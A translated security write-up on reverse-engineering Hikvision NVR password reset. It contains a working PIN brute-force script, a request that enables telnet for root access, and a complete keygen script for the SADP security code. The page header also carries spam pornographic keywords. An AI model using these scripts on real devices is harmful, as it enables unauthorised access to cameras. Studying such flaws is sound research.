压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

如何寫一個(gè)Keygen重置IP攝像機(jī)的管理員密碼

寫在前面的話

我們經(jīng)常在網(wǎng)上看到某某通用IP攝像機(jī)被黑客利用的新聞。大多數(shù)情況下,制造商并不會(huì)強(qiáng)制用戶設(shè)置安全密碼,通常您可以使用默認(rèn)密碼直接登錄。但有些廠商與眾不同——Hikvision。首次登錄時(shí)使用密碼是12345,但接下來會(huì)強(qiáng)制您更改密碼。這的確可以提高一定的安全性,但還是難以阻止攻擊者訪問設(shè)備。

第一次我開始測(cè)試產(chǎn)品DS-7604NI-E1 NVR的安全性時(shí),因?yàn)槲彝浟宋以O(shè)置的登錄密碼。谷歌告訴我可以使用Search Active Devices Protocol工具進(jìn)行找回,該工具除了擁有可以掃描子網(wǎng)上的設(shè)備功能外,還可以選擇重置設(shè)備的管理員密碼。

當(dāng)我安裝該工具并選擇Forgot Password選項(xiàng)時(shí),它會(huì)提示我輸入一個(gè)安全密鑰,但是我沒有什么安全密鑰。

t0131532ca7b72e4952

開始

所以這對(duì)我沒什么卵用——我需要另一種方法進(jìn)入。

我可以在80端口上訪問管理面板。使用Burp Suite攔截流量,并發(fā)現(xiàn)當(dāng)用戶嘗試登錄時(shí),發(fā)現(xiàn)當(dāng)用戶試圖登錄時(shí),會(huì)向位于/PSIA/Custom/SelfExt/userCheck的地址發(fā)出XHR GET請(qǐng)求。用戶名和密碼包含在內(nèi)。該請(qǐng)求將返回帶有<statusValue>字段的XML文檔,如果驗(yàn)證失敗則返回401,如果成功則返回200。我依稀記得那個(gè)pin只能包含數(shù)字,大概是5-6位數(shù)。此外,如果輸入錯(cuò)誤太多次,也不會(huì)鎖定。這就為爆破提供了條件。

了解這些之后,我用Python中創(chuàng)建了一個(gè)腳本,它只是遍歷一系列pin碼并檢查響應(yīng):

from requests import get
from base64 import b64encode

url = 'http://192.168.1.133/PSIA/Custom/SelfExt/userCheck'

for i in range(10000, 999999):
    atoken = b64encode(b"admin:%i" % i)
    auth = ("Basic %s" % atoken.decode("utf-8"))

    r = get(url, headers={'Authorization': auth})

    if "<statusValue>401</statusValue>" not in r.text:
        print(f"Found pin: {i}")
        break

大約30秒內(nèi)我找到了我的密碼。

好戲才開始

然而,密碼重置選項(xiàng)引起了我的興趣——如何在系統(tǒng)上檢查代碼?是否可以在本地生成它?為了找到這個(gè)答案,我需要設(shè)備上的二進(jìn)制文件。幸運(yùn)的是,一旦擁有管理員密碼,就可以輕松獲得對(duì)設(shè)備的root訪問權(quán)限:您只需將一個(gè)PUT請(qǐng)求附帶以下數(shù)據(jù)發(fā)送到/ISAPI/System/Network/telnetd。

<?xml version="1.0" encoding="UTF-8"?>
<Telnetd>
    <enabled>true</enabled>
</Telnetd>

這將啟用telnet程序,您可以進(jìn)行連接并以root管理員身份登錄。進(jìn)入busybox shell:

$ telnet 192.168.1.133
Trying 192.168.1.133...
Connected to 192.168.1.133.
Escape character is '^]'.

dvrdvs login: root
Password:

BusyBox v1.16.1 (2014-05-19 09:41:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

can not change to guest!
[root@dvrdvs /] #

經(jīng)過一些基本的嘗試后,我發(fā)現(xiàn)當(dāng)設(shè)備啟動(dòng)時(shí),位于/home/hik/start.sh的腳本將執(zhí)行,它向/home/app提取一些二進(jìn)制文件,設(shè)置一些內(nèi)容并最終執(zhí)行二進(jìn)制文件/home/app/hicore。考慮到它的大小,似乎正是我正在尋找的程序,所以我使用FTP將其上傳到我的PC并運(yùn)行。僅從輸出結(jié)果來看,似乎這個(gè)二進(jìn)制文件幾乎負(fù)責(zé)所有事情:托管網(wǎng)絡(luò)前端,后端,與SADP通信,檢查密碼,驅(qū)動(dòng)連接的攝像頭等。

使用IDA打開,搜索的字符串security code,我發(fā)現(xiàn)Invalid security code的引用以及在0x9C0E6D對(duì)Default password of 'admin' restored的引用,這似乎就是我一直在尋找的內(nèi)容:

這些由0xC51C0的子程序引用,如下所示:

t01f2acdb5a77b33e27

從無效的密碼分支向后查找,我們發(fā)現(xiàn)似乎它比較了兩個(gè)字符串,其中一個(gè)是由0xC2D04處的子程序產(chǎn)生的, 另一個(gè)可能是用戶輸入。

0xC2D04的子程序如下所示:

t01b05c93904545092a

通過查看反匯編代碼,很明顯這是一個(gè)函數(shù),它接受兩個(gè)參數(shù),一個(gè)作為種子的字符輸入數(shù)組和指向輸出位置的指針 ——從種子生成代碼。我們接下來就會(huì)了解輸入內(nèi)容是什么了。現(xiàn)在,我們可以通過使用Hex-Rays生成函數(shù)的偽代碼來看看:

看起來好像它為遍歷輸入,使用for循環(huán)生成一個(gè)數(shù)(由IDA命名為v5)。這部分代碼我們可以用Python表示如下:

def keygen(seed):
    magic = 0
    for i, char in enumerate(seed):
        i += 1
        magic += i * ord(char) ^ i

然后將其乘以硬編碼的數(shù)字1751873395,并將其格式化為字符串作為無符號(hào)長(zhǎng)整形。在Python中,我們可以使用numpy來處理:

from numpy import uint32
[...]
    secret = str(uint32(1751873395 * magic))

最后,for循環(huán)遍歷字符串中的每個(gè)字符,并使用一些硬編碼偏移量和字符值生成一個(gè)新字符串。在Python中表示為:

key = ""

    for digit in secret:
        digit = ord(digit)
        if digit < 51:
            key += chr(digit + 33)
        elif digit < 53:
            key += chr(digit + 62)
        elif digit < 55:
            key += chr(digit + 47)
        elif digit < 57:
            key += chr(digit + 66)
        else:
            key += chr(digit)

    return(key)

但是,由于字符只是使用幾個(gè)偏移量生成,因此這實(shí)際上是一個(gè)替換密碼,上面的塊可以替換為:

    c = str.maketrans("012345678", "QRSqrdeyz")
    return secret.translate(c)

完成的keygen函數(shù)非常簡(jiǎn)短:

def keygen(seed):
    magic = 0
    for i, char in enumerate(seed):
        i += 1
        magic += i * ord(char) ^ i
    secret = str(uint32(1751873395 * magic))

    c = str.maketrans("012345678", "QRSqrdeyz")
    return secret.translate(c)

很好,但是究竟是什么才能成為種子呢?再看一下反匯編,看起來輸入是一個(gè)從內(nèi)存中取出的字符串,結(jié)合設(shè)備的日期格式為:{string}{yyyy}{mm}{dd}

0xC51FC也引用了相同的內(nèi)存位置,它被用作以下sprintf參數(shù):

所以這個(gè)神秘的字符串是設(shè)備的序列號(hào)。雖然這可以從SADP工具中獲取,但如果與日期一起自動(dòng)獲取它會(huì)更容易。我在其中查找了帶有“serial”的字符串,找到了一個(gè)XML響應(yīng)模板:

這看起來非常像UPNP數(shù)據(jù)。在0xAE427D,我們甚至可以看到該文件的“l(fā)ocation”/upnpdevicedesc.xml確實(shí)可以發(fā)送GET請(qǐng)求來獲取序列號(hào),并且設(shè)備的本地時(shí)間包含在響應(yīng)頭中,這就是我們生成代碼所需的全部?jī)?nèi)容。我們現(xiàn)在可以編寫一個(gè)函數(shù),它為keygen生成輸入:

from requests import get
import sys
[...]

def get_serial_date(ip):
    try:
        req = get(f"http://{ip}/upnpdevicedesc.xml")
    except Exception as e:
        print(f"Unable to connect to {ip}:n{e}")
        sys.exit(-1)

密鑰生成器的序列號(hào)實(shí)際上沒有<modelNumber>開頭,所以我們需要?jiǎng)h除它:

from re import search
[...]
    model = search("<modelNumber>(.*)</modelNumber>", req.text).group(1)
    serial = search("<serialNumber>(.*)</serialNumber>", req.text).group(1)
    serial = serial.replace(model, "")

我們還需要重新格式化日期:

from datetime import datetime
[...]
    datef = datetime.strptime(req.headers["Date"], "%a, %d %b %Y %H:%M:%S GMT")
    date = datef.strftime("%Y%m%d")

    return f"{serial}{date}"

我們現(xiàn)在可以完成腳本的其余部分:

#!/usr/bin/env python3

import sys
from re import search
from numpy import uint32
from requests import get
from datetime import datetime

def keygen(seed):
    magic = 0
    for i, char in enumerate(seed):
        i += 1
        magic += i * ord(char) ^ i
    secret = str(uint32(1751873395 * magic))

    c = str.maketrans("012345678", "QRSqrdeyz")
    return secret.translate(c)

def get_serial_date(ip):
    try:
        req = get(f"http://{ip}/upnpdevicedesc.xml")
    except Exception as e:
        print(f"Unable to connect to {ip}:n{e}")
        sys.exit(-1)

    model = search("<modelNumber>(.*)</modelNumber>", req.text).group(1)
    serial = search("<serialNumber>(.*)</serialNumber>", req.text).group(1)
    serial = serial.replace(model, "")
    datef = datetime.strptime(req.headers["Date"], "%a, %d %b %Y %H:%M:%S GMT")
    date = datef.strftime("%Y%m%d")

    return f"{serial}{date}"

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ip>")
        print("Connects to a Hikvision device and generates a security key")
        sys.exit(1)
    seed = get_serial_date(sys.argv[1])
    print(f"Got seed: {seed}")
    key = keygen(seed)
    print(f"Generated security key: {key}")

運(yùn)行此命令會(huì)生成一個(gè)密鑰,當(dāng)輸入SADP時(shí),確實(shí)會(huì)將密碼重置為12345。

t01f07cb5732c18606e

最后的話

總而言之,這種安全措施是行不通的。更糟糕的是,它可能會(huì)產(chǎn)生一種很安全的錯(cuò)覺,而這種錯(cuò)覺可能會(huì)被攻擊者利用,從而導(dǎo)致最后攻擊的發(fā)生。不過我的腳本不允許您重置其他人的密碼,因?yàn)槟仨氃诒镜財(cái)z像機(jī)的SADP中進(jìn)行手動(dòng)輸入。

原文地址:https://neonsea.uk/blog/2018/08/01/hikvision-keygen.html

上一篇:游戲安全:一個(gè)歷久彌新的領(lǐng)域

下一篇:CSS2018將于8月召開 大咖齊聚研討安全驅(qū)動(dòng)力